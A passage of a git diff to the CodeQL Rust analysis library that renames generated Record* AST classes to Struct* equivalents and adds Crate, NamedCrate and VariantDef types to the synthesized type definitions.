- * This module provides the generated definition of `RecordPatFieldList`.
- * INTERNAL: Do not import directly.
- */
-
-private import codeql.rust.elements.internal.generated.Synth
-private import codeql.rust.elements.internal.generated.Raw
-import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl
-import codeql.rust.elements.RecordPatField
-import codeql.rust.elements.RestPat
-
-/**
- * INTERNAL: This module contains the fully generated definition of `RecordPatFieldList` and should not
- * be referenced directly.
- */
-module Generated {
-  /**
-   * A RecordPatFieldList. For example:
-   * ```rust
-   * todo!()
-   * ```
-   * INTERNAL: Do not reference the `Generated::RecordPatFieldList` class directly.
-   * Use the subclass `RecordPatFieldList`, where the following predicates are available.
-   */
-  class RecordPatFieldList extends Synth::TRecordPatFieldList, AstNodeImpl::AstNode {
-    override string getAPrimaryQlClass() { result = "RecordPatFieldList" }
-
-    /**
-     * Gets the `index`th field of this record pattern field list (0-based).
-     */
-    RecordPatField getField(int index) {
-      result =
-        Synth::convertRecordPatFieldFromRaw(Synth::convertRecordPatFieldListToRaw(this)
-              .(Raw::RecordPatFieldList)
-              .getField(index))
-    }
-
-    /**
-     * Gets any of the fields of this record pattern field list.
-     */
-    final RecordPatField getAField() { result = this.getField(_) }
-
-    /**
-     * Gets the number of fields of this record pattern field list.
-     */
-    final int getNumberOfFields() { result = count(int i | exists(this.getField(i))) }
-
-    /**
-     * Gets the rest pattern of this record pattern field list, if it exists.
-     */
-    RestPat getRestPat() {
-      result =
-        Synth::convertRestPatFromRaw(Synth::convertRecordPatFieldListToRaw(this)
-              .(Raw::RecordPatFieldList)
-              .getRestPat())
-    }
-
-    /**
-     * Holds if `getRestPat()` exists.
-     */
-    final predicate hasRestPat() { exists(this.getRestPat()) }
-  }
-}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll
index a596843e100f..07521be8d696 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll
@@ -11,6 +11,7 @@ import codeql.rust.elements.FieldList
 import codeql.rust.elements.GenericParamList
 import codeql.rust.elements.internal.ItemImpl::Impl as ItemImpl
 import codeql.rust.elements.Name
+import codeql.rust.elements.internal.VariantDefImpl::Impl as VariantDefImpl
 import codeql.rust.elements.Visibility
 import codeql.rust.elements.WhereClause
 
@@ -27,7 +28,7 @@ module Generated {
    * INTERNAL: Do not reference the `Generated::Struct` class directly.
    * Use the subclass `Struct`, where the following predicates are available.
    */
-  class Struct extends Synth::TStruct, ItemImpl::Item {
+  class Struct extends Synth::TStruct, ItemImpl::Item, VariantDefImpl::VariantDef {
     override string getAPrimaryQlClass() { result = "Struct" }
 
     /**
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructExpr.qll
new file mode 100644
index 000000000000..c4da706e2777
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructExpr.qll
@@ -0,0 +1,47 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the generated definition of `StructExpr`.
+ * INTERNAL: Do not import directly.
+ */
+
+private import codeql.rust.elements.internal.generated.Synth
+private import codeql.rust.elements.internal.generated.Raw
+import codeql.rust.elements.internal.ExprImpl::Impl as ExprImpl
+import codeql.rust.elements.internal.PathAstNodeImpl::Impl as PathAstNodeImpl
+import codeql.rust.elements.StructExprFieldList
+
+/**
+ * INTERNAL: This module contains the fully generated definition of `StructExpr` and should not
+ * be referenced directly.
+ */
+module Generated {
+  /**
+   * A struct expression. For example:
+   * ```rust
+   * let first = Foo { a: 1, b: 2 };
+   * let second = Foo { a: 2, ..first };
+   * Foo { a: 1, b: 2 }[2] = 10;
+   * Foo { .. } = second;
+   * ```
+   * INTERNAL: Do not reference the `Generated::StructExpr` class directly.
+   * Use the subclass `StructExpr`, where the following predicates are available.
+   */
+  class StructExpr extends Synth::TStructExpr, ExprImpl::Expr, PathAstNodeImpl::PathAstNode {
+    override string getAPrimaryQlClass() { result = "StructExpr" }
+
+    /**
+     * Gets the struct expression field list of this struct expression, if it exists.
+     */
+    StructExprFieldList getStructExprFieldList() {
+      result =
+        Synth::convertStructExprFieldListFromRaw(Synth::convertStructExprToRaw(this)
+              .(Raw::StructExpr)
+              .getStructExprFieldList())
+    }
+
+    /**
+     * Holds if `getStructExprFieldList()` exists.
+     */
+    final predicate hasStructExprFieldList() { exists(this.getStructExprFieldList()) }
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprField.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprField.qll
new file mode 100644
index 000000000000..16dfbd946af1
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprField.qll
@@ -0,0 +1,80 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the generated definition of `StructExprField`.
+ * INTERNAL: Do not import directly.
+ */
+
+private import codeql.rust.elements.internal.generated.Synth
+private import codeql.rust.elements.internal.generated.Raw
+import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl
+import codeql.rust.elements.Attr
+import codeql.rust.elements.Expr
+import codeql.rust.elements.NameRef
+
+/**
+ * INTERNAL: This module contains the fully generated definition of `StructExprField` and should not
+ * be referenced directly.
+ */
+module Generated {
+  /**
+   * A field in a struct expression. For example `a: 1` in:
+   * ```rust
+   * Foo { a: 1, b: 2 };
+   * ```
+   * INTERNAL: Do not reference the `Generated::StructExprField` class directly.
+   * Use the subclass `StructExprField`, where the following predicates are available.
+   */
+  class StructExprField extends Synth::TStructExprField, AstNodeImpl::AstNode {
+    override string getAPrimaryQlClass() { result = "StructExprField" }
+
+    /**
+     * Gets the `index`th attr of this struct expression field (0-based).
+     */
+    Attr getAttr(int index) {
+      result =
+        Synth::convertAttrFromRaw(Synth::convertStructExprFieldToRaw(this)
+              .(Raw::StructExprField)
+              .getAttr(index))
+    }
+
+    /**
+     * Gets any of the attrs of this struct expression field.
+     */
+    final Attr getAnAttr() { result = this.getAttr(_) }
+
+    /**
+     * Gets the number of attrs of this struct expression field.
+     */
+    final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) }
+
+    /**
+     * Gets the expression of this struct expression field, if it exists.
+     */
+    Expr getExpr() {
+      result =
+        Synth::convertExprFromRaw(Synth::convertStructExprFieldToRaw(this)
+              .(Raw::StructExprField)
+              .getExpr())
+    }
+
+    /**
+     * Holds if `getExpr()` exists.
+     */
+    final predicate hasExpr() { exists(this.getExpr()) }
+
+    /**
+     * Gets the identifier of this struct expression field, if it exists.
+     */
+    NameRef getIdentifier() {
+      result =
+        Synth::convertNameRefFromRaw(Synth::convertStructExprFieldToRaw(this)
+              .(Raw::StructExprField)
+              .getIdentifier())
+    }
+
+    /**
+     * Holds if `getIdentifier()` exists.
+     */
+    final predicate hasIdentifier() { exists(this.getIdentifier()) }
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll
new file mode 100644
index 000000000000..8dfe65d5973d
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll
@@ -0,0 +1,85 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the generated definition of `StructExprFieldList`.
+ * INTERNAL: Do not import directly.
+ */
+
+private import codeql.rust.elements.internal.generated.Synth
+private import codeql.rust.elements.internal.generated.Raw
+import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl
+import codeql.rust.elements.Attr
+import codeql.rust.elements.Expr
+import codeql.rust.elements.StructExprField
+
+/**
+ * INTERNAL: This module contains the fully generated definition of `StructExprFieldList` and should not
+ * be referenced directly.
+ */
+module Generated {
+  /**
+   * A StructExprFieldList. For example:
+   * ```rust
+   * todo!()
+   * ```
+   * INTERNAL: Do not reference the `Generated::StructExprFieldList` class directly.
+   * Use the subclass `StructExprFieldList`, where the following predicates are available.
+   */
+  class StructExprFieldList extends Synth::TStructExprFieldList, AstNodeImpl::AstNode {
+    override string getAPrimaryQlClass() { result = "StructExprFieldList" }
+
+    /**
+     * Gets the `index`th attr of this struct expression field list (0-based).
+     */
+    Attr getAttr(int index) {
+      result =
+        Synth::convertAttrFromRaw(Synth::convertStructExprFieldListToRaw(this)
+              .(Raw::StructExprFieldList)
+              .getAttr(index))
+    }
+
+    /**
+     * Gets any of the attrs of this struct expression field list.
+     */
+    final Attr getAnAttr() { result = this.getAttr(_) }
+
+    /**
+     * Gets the number of attrs of this struct expression field list.
+     */
+    final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) }
+
+    /**
+     * Gets the `index`th field of this struct expression field list (0-based).
+     */
+    StructExprField getField(int index) {
+      result =
+        Synth::convertStructExprFieldFromRaw(Synth::convertStructExprFieldListToRaw(this)
+              .(Raw::StructExprFieldList)
+              .getField(index))
+    }
+
+    /**
+     * Gets any of the fields of this struct expression field list.
+     */
+    final StructExprField getAField() { result = this.getField(_) }
+
+    /**
+     * Gets the number of fields of this struct expression field list.
+     */
+    final int getNumberOfFields() { result = count(int i | exists(this.getField(i))) }
+
+    /**
+     * Gets the spread of this struct expression field list, if it exists.
+     */
+    Expr getSpread() {
+      result =
+        Synth::convertExprFromRaw(Synth::convertStructExprFieldListToRaw(this)
+              .(Raw::StructExprFieldList)
+              .getSpread())
+    }
+
+    /**
+     * Holds if `getSpread()` exists.
+     */
+    final predicate hasSpread() { exists(this.getSpread()) }
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll
new file mode 100644
index 000000000000..c5525b86dbae
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll
@@ -0,0 +1,110 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the generated definition of `StructField`.
+ * INTERNAL: Do not import directly.
+ */
+
+private import codeql.rust.elements.internal.generated.Synth
+private import codeql.rust.elements.internal.generated.Raw
+import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl
+import codeql.rust.elements.Attr
+import codeql.rust.elements.Expr
+import codeql.rust.elements.Name
+import codeql.rust.elements.TypeRepr
+import codeql.rust.elements.Visibility
+
+/**
+ * INTERNAL: This module contains the fully generated definition of `StructField` and should not
+ * be referenced directly.
+ */
+module Generated {
+  /**
+   * A StructField. For example:
+   * ```rust
+   * todo!()
+   * ```
+   * INTERNAL: Do not reference the `Generated::StructField` class directly.
+   * Use the subclass `StructField`, where the following predicates are available.
+   */
+  class StructField extends Synth::TStructField, AstNodeImpl::AstNode {
+    override string getAPrimaryQlClass() { result = "StructField" }
+
+    /**
+     * Gets the `index`th attr of this struct field (0-based).
+     */
+    Attr getAttr(int index) {
+      result =
+        Synth::convertAttrFromRaw(Synth::convertStructFieldToRaw(this)
+              .(Raw::StructField)
+              .getAttr(index))
+    }
+
+    /**
+     * Gets any of the attrs of this struct field.
+     */
+    final Attr getAnAttr() { result = this.getAttr(_) }
+
+    /**
+     * Gets the number of attrs of this struct field.
+     */
+    final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) }
+
+    /**
+     * Gets the default of this struct field, if it exists.
+     */
+    Expr getDefault() {
+      result =
+        Synth::convertExprFromRaw(Synth::convertStructFieldToRaw(this)
+              .(Raw::StructField)
+              .getDefault())
+    }
+
+    /**
+     * Holds if `getDefault()` exists.
+     */
+    final predicate hasDefault() { exists(this.getDefault()) }
+
+    /**
+     * Gets the name of this struct field, if it exists.
+     */
+    Name getName() {
+      result =
+        Synth::convertNameFromRaw(Synth::convertStructFieldToRaw(this).(Raw::StructField).getName())
+    }
+
+    /**
+     * Holds if `getName()` exists.
+     */
+    final predicate hasName() { exists(this.getName()) }
+
+    /**
+     * Gets the type representation of this struct field, if it exists.
+     */
+    TypeRepr getTypeRepr() {
+      result =
+        Synth::convertTypeReprFromRaw(Synth::convertStructFieldToRaw(this)
+              .(Raw::StructField)
+              .getTypeRepr())
+    }
+
+    /**
+     * Holds if `getTypeRepr()` exists.
+     */
+    final predicate hasTypeRepr() { exists(this.getTypeRepr()) }
+
+    /**
+     * Gets the visibility of this struct field, if it exists.
+     */
+    Visibility getVisibility() {
+      result =
+        Synth::convertVisibilityFromRaw(Synth::convertStructFieldToRaw(this)
+              .(Raw::StructField)
+              .getVisibility())
+    }
+
+    /**
+     * Holds if `getVisibility()` exists.
+     */
+    final predicate hasVisibility() { exists(this.getVisibility()) }
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll
new file mode 100644
index 000000000000..aabd886f6b74
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll
@@ -0,0 +1,48 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the generated definition of `StructFieldList`.
+ * INTERNAL: Do not import directly.
+ */
+
+private import codeql.rust.elements.internal.generated.Synth
+private import codeql.rust.elements.internal.generated.Raw
+import codeql.rust.elements.internal.FieldListImpl::Impl as FieldListImpl
+import codeql.rust.elements.StructField
+
+/**
+ * INTERNAL: This module contains the fully generated definition of `StructFieldList` and should not
+ * be referenced directly.
+ */
+module Generated {
+  /**
+   * A field list of a struct expression. For example:
+   * ```rust
+   * todo!()
+   * ```
+   * INTERNAL: Do not reference the `Generated::StructFieldList` class directly.
+   * Use the subclass `StructFieldList`, where the following predicates are available.
+   */
+  class StructFieldList extends Synth::TStructFieldList, FieldListImpl::FieldList {
+    override string getAPrimaryQlClass() { result = "StructFieldList" }
+
+    /**
+     * Gets the `index`th field of this struct field list (0-based).
+     */
+    StructField getField(int index) {
+      result =
+        Synth::convertStructFieldFromRaw(Synth::convertStructFieldListToRaw(this)
+              .(Raw::StructFieldList)
+              .getField(index))
+    }
+
+    /**
+     * Gets any of the fields of this struct field list.
+     */
+    final StructField getAField() { result = this.getField(_) }
+
+    /**
+     * Gets the number of fields of this struct field list.
+     */
+    final int getNumberOfFields() { result = count(int i | exists(this.getField(i))) }
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructPat.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructPat.qll
new file mode 100644
index 000000000000..93f89aae3523
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructPat.qll
@@ -0,0 +1,47 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the generated definition of `StructPat`.
+ * INTERNAL: Do not import directly.
+ */
+
+private import codeql.rust.elements.internal.generated.Synth
+private import codeql.rust.elements.internal.generated.Raw
+import codeql.rust.elements.internal.PatImpl::Impl as PatImpl
+import codeql.rust.elements.internal.PathAstNodeImpl::Impl as PathAstNodeImpl
+import codeql.rust.elements.StructPatFieldList
+
+/**
+ * INTERNAL: This module contains the fully generated definition of `StructPat` and should not
+ * be referenced directly.
+ */
+module Generated {
+  /**
+   * A struct pattern. For example:
+   * ```rust
+   * match x {
+   *     Foo { a: 1, b: 2 } => "ok",
+   *     Foo { .. } => "fail",
+   * }
+   * ```
+   * INTERNAL: Do not reference the `Generated::StructPat` class directly.
+   * Use the subclass `StructPat`, where the following predicates are available.
+   */
+  class StructPat extends Synth::TStructPat, PatImpl::Pat, PathAstNodeImpl::PathAstNode {
+    override string getAPrimaryQlClass() { result = "StructPat" }
+
+    /**
+     * Gets the struct pattern field list of this struct pattern, if it exists.
+     */
+    StructPatFieldList getStructPatFieldList() {
+      result =
+        Synth::convertStructPatFieldListFromRaw(Synth::convertStructPatToRaw(this)
+              .(Raw::StructPat)
+              .getStructPatFieldList())
+    }
+
+    /**
+     * Holds if `getStructPatFieldList()` exists.
+     */
+    final predicate hasStructPatFieldList() { exists(this.getStructPatFieldList()) }
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatField.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatField.qll
new file mode 100644
index 000000000000..40a2d3f74d52
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatField.qll
@@ -0,0 +1,80 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the generated definition of `StructPatField`.
+ * INTERNAL: Do not import directly.
+ */
+
+private import codeql.rust.elements.internal.generated.Synth
+private import codeql.rust.elements.internal.generated.Raw
+import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl
+import codeql.rust.elements.Attr
+import codeql.rust.elements.NameRef
+import codeql.rust.elements.Pat
+
+/**
+ * INTERNAL: This module contains the fully generated definition of `StructPatField` and should not
+ * be referenced directly.
+ */
+module Generated {
+  /**
+   * A field in a struct pattern. For example `a: 1` in:
+   * ```rust
+   * let Foo { a: 1, b: 2 } = foo;
+   * ```
+   * INTERNAL: Do not reference the `Generated::StructPatField` class directly.
+   * Use the subclass `StructPatField`, where the following predicates are available.
+   */
+  class StructPatField extends Synth::TStructPatField, AstNodeImpl::AstNode {
+    override string getAPrimaryQlClass() { result = "StructPatField" }
+
+    /**
+     * Gets the `index`th attr of this struct pattern field (0-based).
+     */
+    Attr getAttr(int index) {
+      result =
+        Synth::convertAttrFromRaw(Synth::convertStructPatFieldToRaw(this)
+              .(Raw::StructPatField)
+              .getAttr(index))
+    }
+
+    /**
+     * Gets any of the attrs of this struct pattern field.
+     */
+    final Attr getAnAttr() { result = this.getAttr(_) }
+
+    /**
+     * Gets the number of attrs of this struct pattern field.
+     */
+    final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) }
+
+    /**
+     * Gets the identifier of this struct pattern field, if it exists.
+     */
+    NameRef getIdentifier() {
+      result =
+        Synth::convertNameRefFromRaw(Synth::convertStructPatFieldToRaw(this)
+              .(Raw::StructPatField)
+              .getIdentifier())
+    }
+
+    /**
+     * Holds if `getIdentifier()` exists.
+     */
+    final predicate hasIdentifier() { exists(this.getIdentifier()) }
+
+    /**
+     * Gets the pattern of this struct pattern field, if it exists.
+     */
+    Pat getPat() {
+      result =
+        Synth::convertPatFromRaw(Synth::convertStructPatFieldToRaw(this)
+              .(Raw::StructPatField)
+              .getPat())
+    }
+
+    /**
+     * Holds if `getPat()` exists.
+     */
+    final predicate hasPat() { exists(this.getPat()) }
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll
new file mode 100644
index 000000000000..2a2098f27211
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll
@@ -0,0 +1,64 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the generated definition of `StructPatFieldList`.
+ * INTERNAL: Do not import directly.
+ */
+
+private import codeql.rust.elements.internal.generated.Synth
+private import codeql.rust.elements.internal.generated.Raw
+import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl
+import codeql.rust.elements.RestPat
+import codeql.rust.elements.StructPatField
+
+/**
+ * INTERNAL: This module contains the fully generated definition of `StructPatFieldList` and should not
+ * be referenced directly.
+ */
+module Generated {
+  /**
+   * A StructPatFieldList. For example:
+   * ```rust
+   * todo!()
+   * ```
+   * INTERNAL: Do not reference the `Generated::StructPatFieldList` class directly.
+   * Use the subclass `StructPatFieldList`, where the following predicates are available.
+   */
+  class StructPatFieldList extends Synth::TStructPatFieldList, AstNodeImpl::AstNode {
+    override string getAPrimaryQlClass() { result = "StructPatFieldList" }
+
+    /**
+     * Gets the `index`th field of this struct pattern field list (0-based).
+     */
+    StructPatField getField(int index) {
+      result =
+        Synth::convertStructPatFieldFromRaw(Synth::convertStructPatFieldListToRaw(this)
+              .(Raw::StructPatFieldList)
+              .getField(index))
+    }
+
+    /**
+     * Gets any of the fields of this struct pattern field list.
+     */
+    final StructPatField getAField() { result = this.getField(_) }
+
+    /**
+     * Gets the number of fields of this struct pattern field list.
+     */
+    final int getNumberOfFields() { result = count(int i | exists(this.getField(i))) }
+
+    /**
+     * Gets the rest pattern of this struct pattern field list, if it exists.
+     */
+    RestPat getRestPat() {
+      result =
+        Synth::convertRestPatFromRaw(Synth::convertStructPatFieldListToRaw(this)
+              .(Raw::StructPatFieldList)
+              .getRestPat())
+    }
+
+    /**
+     * Holds if `getRestPat()` exists.
+     */
+    final predicate hasRestPat() { exists(this.getRestPat()) }
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Synth.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Synth.qll
index fff08a91d81b..6d7c69fde132 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/Synth.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Synth.qll
@@ -162,6 +162,10 @@ module Synth {
      * INTERNAL: Do not use.
      */
     TContinueExpr(Raw::ContinueExpr id) { constructContinueExpr(id) } or
+    /**
+     * INTERNAL: Do not use.
+     */
+    TCrate(Raw::Crate id) { constructCrate(id) } or
     /**
      * INTERNAL: Do not use.
      */
@@ -386,6 +390,10 @@ module Synth {
      * INTERNAL: Do not use.
      */
     TNameRef(Raw::NameRef id) { constructNameRef(id) } or
+    /**
+     * INTERNAL: Do not use.
+     */
+    TNamedCrate(Raw::NamedCrate id) { constructNamedCrate(id) } or
     /**
      * INTERNAL: Do not use.
      */
@@ -461,95 +469,95 @@ module Synth {
     /**
      * INTERNAL: Do not use.
      */
-    TRecordExpr(Raw::RecordExpr id) { constructRecordExpr(id) } or
+    TRefExpr(Raw::RefExpr id) { constructRefExpr(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TRecordExprField(Raw::RecordExprField id) { constructRecordExprField(id) } or
+    TRefPat(Raw::RefPat id) { constructRefPat(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TRecordExprFieldList(Raw::RecordExprFieldList id) { constructRecordExprFieldList(id) } or
+    TRefTypeRepr(Raw::RefTypeRepr id) { constructRefTypeRepr(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TRecordField(Raw::RecordField id) { constructRecordField(id) } or
+    TRename(Raw::Rename id) { constructRename(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TRecordFieldList(Raw::RecordFieldList id) { constructRecordFieldList(id) } or
+    TRestPat(Raw::RestPat id) { constructRestPat(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TRecordPat(Raw::RecordPat id) { constructRecordPat(id) } or
+    TRetTypeRepr(Raw::RetTypeRepr id) { constructRetTypeRepr(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TRecordPatField(Raw::RecordPatField id) { constructRecordPatField(id) } or
+    TReturnExpr(Raw::ReturnExpr id) { constructReturnExpr(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TRecordPatFieldList(Raw::RecordPatFieldList id) { constructRecordPatFieldList(id) } or
+    TReturnTypeSyntax(Raw::ReturnTypeSyntax id) { constructReturnTypeSyntax(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TRefExpr(Raw::RefExpr id) { constructRefExpr(id) } or
+    TSelfParam(Raw::SelfParam id) { constructSelfParam(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TRefPat(Raw::RefPat id) { constructRefPat(id) } or
+    TSlicePat(Raw::SlicePat id) { constructSlicePat(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TRefTypeRepr(Raw::RefTypeRepr id) { constructRefTypeRepr(id) } or
+    TSliceTypeRepr(Raw::SliceTypeRepr id) { constructSliceTypeRepr(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TRename(Raw::Rename id) { constructRename(id) } or
+    TSourceFile(Raw::SourceFile id) { constructSourceFile(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TRestPat(Raw::RestPat id) { constructRestPat(id) } or
+    TStatic(Raw::Static id) { constructStatic(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TRetTypeRepr(Raw::RetTypeRepr id) { constructRetTypeRepr(id) } or
+    TStmtList(Raw::StmtList id) { constructStmtList(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TReturnExpr(Raw::ReturnExpr id) { constructReturnExpr(id) } or
+    TStruct(Raw::Struct id) { constructStruct(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TReturnTypeSyntax(Raw::ReturnTypeSyntax id) { constructReturnTypeSyntax(id) } or
+    TStructExpr(Raw::StructExpr id) { constructStructExpr(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TSelfParam(Raw::SelfParam id) { constructSelfParam(id) } or
+    TStructExprField(Raw::StructExprField id) { constructStructExprField(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TSlicePat(Raw::SlicePat id) { constructSlicePat(id) } or
+    TStructExprFieldList(Raw::StructExprFieldList id) { constructStructExprFieldList(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TSliceTypeRepr(Raw::SliceTypeRepr id) { constructSliceTypeRepr(id) } or
+    TStructField(Raw::StructField id) { constructStructField(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TSourceFile(Raw::SourceFile id) { constructSourceFile(id) } or
+    TStructFieldList(Raw::StructFieldList id) { constructStructFieldList(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TStatic(Raw::Static id) { constructStatic(id) } or
+    TStructPat(Raw::StructPat id) { constructStructPat(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TStmtList(Raw::StmtList id) { constructStmtList(id) } or
+    TStructPatField(Raw::StructPatField id) { constructStructPatField(id) } or
     /**
      * INTERNAL: Do not use.
      */
-    TStruct(Raw::Struct id) { constructStruct(id) } or
+    TStructPatFieldList(Raw::StructPatFieldList id) { constructStructPatFieldList(id) } or
     /**
      * INTERNAL: Do not use.
      */
@@ -710,12 +718,12 @@ module Synth {
         TFormatArgsArg or TGenericArg or TGenericArgList or TGenericParam or TGenericParamList or
         TItemList or TLabel or TLetElse or TMacroItems or TMacroStmts or TMatchArm or
         TMatchArmList or TMatchGuard or TMeta or TName or TParamBase or TParamList or
-        TParenthesizedArgList or TPat or TPath or TPathSegment or TRecordExprField or
-        TRecordExprFieldList or TRecordField or TRecordPatField or TRecordPatFieldList or TRename or
-        TResolvable or TRetTypeRepr or TReturnTypeSyntax or TSourceFile or TStmt or TStmtList or
-        TToken or TTokenTree or TTupleField or TTypeBound or TTypeBoundList or TTypeRepr or
-        TUseBoundGenericArg or TUseBoundGenericArgs or TUseTree or TUseTreeList or TVariantList or
-        TVisibility or TWhereClause or TWherePred;
+        TParenthesizedArgList or TPat or TPath or TPathSegment or TRename or TResolvable or
+        TRetTypeRepr or TReturnTypeSyntax or TSourceFile or TStmt or TStmtList or
+        TStructExprField or TStructExprFieldList or TStructField or TStructPatField or
+        TStructPatFieldList or TToken or TTokenTree or TTupleField or TTypeBound or
+        TTypeBoundList or TTypeRepr or TUseBoundGenericArg or TUseBoundGenericArgs or TUseTree or
+        TUseTreeList or TVariantDef or TVariantList or TVisibility or TWhereClause or TWherePred;
 
   /**
    * INTERNAL: Do not use.
@@ -735,7 +743,7 @@ module Synth {
         TBreakExpr or TCallExprBase or TCastExpr or TClosureExpr or TContinueExpr or TFieldExpr or
         TFormatArgsExpr or TIfExpr or TIndexExpr or TLabelableExpr or TLetExpr or TLiteralExpr or
         TMacroExpr or TMatchExpr or TOffsetOfExpr or TParenExpr or TPathExprBase or TPrefixExpr or
-        TRangeExpr or TRecordExpr or TRefExpr or TReturnExpr or TTryExpr or TTupleExpr or
+        TRangeExpr or TRefExpr or TReturnExpr or TStructExpr or TTryExpr or TTupleExpr or
         TUnderscoreExpr or TYeetExpr or TYieldExpr;
 
   /**
@@ -746,7 +754,7 @@ module Synth {
   /**
    * INTERNAL: Do not use.
    */
-  class TFieldList = TRecordFieldList or TTupleFieldList;
+  class TFieldList = TStructFieldList or TTupleFieldList;
 
   /**
    * INTERNAL: Do not use.
@@ -774,7 +782,7 @@ module Synth {
   /**
    * INTERNAL: Do not use.
    */
-  class TLocatable = TAstNode or TFormat or TFormatArgument;
+  class TLocatable = TAstNode or TCrate or TFormat or TFormatArgument;
 
   /**
    * INTERNAL: Do not use.
@@ -791,13 +799,13 @@ module Synth {
    */
   class TPat =
     TBoxPat or TConstBlockPat or TIdentPat or TLiteralPat or TMacroPat or TOrPat or TParenPat or
-        TPathPat or TRangePat or TRecordPat or TRefPat or TRestPat or TSlicePat or TTuplePat or
+        TPathPat or TRangePat or TRefPat or TRestPat or TSlicePat or TStructPat or TTuplePat or
         TTupleStructPat or TWildcardPat;
 
   /**
    * INTERNAL: Do not use.
    */
-  class TPathAstNode = TPathExpr or TPathPat or TRecordExpr or TRecordPat or TTupleStructPat;
+  class TPathAstNode = TPathExpr or TPathPat or TStructExpr or TStructPat or TTupleStructPat;
 
   /**
    * INTERNAL: Do not use.
@@ -837,6 +845,11 @@ module Synth {
    */
   class TUseBoundGenericArg = TLifetime or TNameRef;
 
+  /**
+   * INTERNAL: Do not use.
+   */
+  class TVariantDef = TStruct or TUnion or TVariant;
+
   /**
    * INTERNAL: Do not use.
    * Converts a raw element to a synthesized `TAbi`, if possible.
@@ -1061,6 +1074,12 @@ module Synth {
    */
   TContinueExpr convertContinueExprFromRaw(Raw::Element e) { result = TContinueExpr(e) }
 
+  /**
+   * INTERNAL: Do not use.
+   * Converts a raw element to a synthesized `TCrate`, if possible.
+   */
+  TCrate convertCrateFromRaw(Raw::Element e) { result = TCrate(e) }
+
   /**
    * INTERNAL: Do not use.
    * Converts a raw element to a synthesized `TDynTraitTypeRepr`, if possible.
@@ -1389,6 +1408,12 @@ module Synth {
    */
   TNameRef convertNameRefFromRaw(Raw::Element e) { result = TNameRef(e) }
 
+  /**
+   * INTERNAL: Do not use.
